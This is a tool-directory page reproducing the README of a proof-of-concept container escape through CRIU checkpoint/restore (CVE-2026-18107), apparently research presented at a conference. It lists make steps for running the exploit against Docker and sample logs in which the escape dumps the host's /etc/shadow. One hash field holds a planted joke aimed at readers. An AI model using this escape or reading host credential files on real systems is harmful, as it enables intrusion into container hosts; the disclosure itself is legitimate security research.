Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
criu-exploit — Universal container escape exploit targeting the CRIU container checkpoint/restore system - CVE-2026-18107 | Kitploit
Tools/GitHubGitHub/robalb/criu-exploit
Privilege EscalationContainer SecurityExploitationShellcodeRed TeamingPayload DevelopmentContainer EscapeBinary Exploitation
GitHubrobalb/criu-exploit

criu-exploit

Universal container escape exploit targeting the CRIU container checkpoint/restore system - CVE-2026-18107

View Repository
322 days agoNot yet reviewed
Share

CVE-2026-18107 container escape Proof of Concept

This PoC Demonstrates that unprivileged software running in a container can detect container checkpoints, hide from them, or exploit the checkpoit mechanism itself to achieve arbitrary code execution on the host.

The exploit targets CRIU, and works with all container technologies that depend on CRIU for checkpoints:

  • Docker
  • Kubernetes
  • Podman
  • LXC
  • containerd
  • runc
  • crun

This research was presented at the 2026 No Hat cybersecurity conference. The talk is available on Youtube:

IMAGE ALT TEXT HERE

Exploit overview

The Proof of Concept Exploit is written as a single x86-64 assembly file for the GNU assembler. see: criu_hijack_poc.s
This choice was done for simplicity: The main primitives behind the exploit are an abuse of the Linux restartable sequences mecahnism, and a man-in-the-middle attack on raw linux syscalls.
Both these concepts require direct manipulation of CPU registers and memory, and cannot be easily expressed in high-level languages like C without introducing unnecessary indirection.

Container checkpoints are mainly performed on Kubernetes, which makes it the most realistic target for a real-world attack. With that said, the underlying vulnerability affects most container runtimes, including Docker. Since Docker is widely available and easier to set up than a Kubernetes cluster, this PoC targets Docker.

This repository includes a Dockerfile and Makefile to run the PoC against Docker. This setup simulates the following attack scenario:

  1. You manage a kubernetes cluster, possibly with live auto-scaling powered by container checkpoints/restore.
    This is a feature that is gaining popularity, provided by systems like zeropod
  2. A container gets compromised.
    A supply-chain attack, or an RCE in a service running in the container, lets an attacker execute malicious code inside the container.
  3. the container is checkpointed.
    This may happen automatically, triggered by the auto-scaling system, or it could be a manual operation performed by a system administrator.
  4. the checkpoint or restore causes the malicious code to escape the container

Coincidentally, kubernetes natively supports a feature called forensic checkpoints. The use of this feature on an infected container could be the main trigger for this exploit.

Run the PoC

1. Build and install CRIU at the latest vulnerable version

  • make criu-init
  • make criu-install

2. Build and start a Docker container with the PoC inside:

  • make docker-build
  • make docker-run
  • make docker-logs

3. Take a docker Checkpoint

  • make docker-dump

The PoC will detect the CRIU checkpoint, and will log to stoud the syscalls that CRIU is injecting into its executable memory.
At the same time, the PoC script will hijack the Checkpoint and spoof the capabilities, user IDs and group IDs of its own task.

$ make docker-logs
docker logs -f criu-hijack-container
a
b
c
d
e
f
g
h
i
callback: CRIU infect detected (syscall;int3 at exec-start)
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000401008
000000000000013f
eff=00000000a80425fb
prm=00000000a80425fb
inh=0000000000000000
0000000000000003

4. Restore and Checkpoint again

  • make docker-restore
  • make docker-logs

from a second terminal, while looking at the logs:

  • make docker-checkpoint2

The PoC will again detect the CRIU checkpoint, but this time it will also detect that it's running with full capabilities.
It will then call CDK, to run a well-known container escape exploit which dumps the host's /etc/shadow to standard output, as a demonstration.

j
k
l
m
n
o
p
q
callback: CRIU infect detected (syscall;int3 at exec-start)
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000401008
000000000000013f
eff=000001ffffffffff
prm=000001ffffffffff
inh=000001ffffffffff
Running with target: /etc/shadow, ref: /etc/hostname
root:!:19276:0:99999:7:::
daemon:*:19213:0:99999:7:::
bin:*:19213:0:99999:7:::
sys:*:19213:0:99999:7:::
sync:*:19213:0:99999:7:::
games:*:19213:0:99999:7:::
man:*:19213:0:99999:7:::
lp:*:19213:0:99999:7:::
mail:*:19213:0:99999:7:::
news:*:19213:0:99999:7:::
uucp:*:19213:0:99999:7:::
al:$y$d2hpbGUgeW91IHdhc3RlZCB0aW1lIGRlY29kaW5nIHRoaXMsIEFJIHRvb2sgeW91ciBqb2IK:19276:0:99999:7:::
fwupd-refresh:*:19297:0:99999:7:::
postgres:*:19525:0:99999:7:::
snapd-range-524288-root:!:20150::::::
snap_daemon:!:20150::::::
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →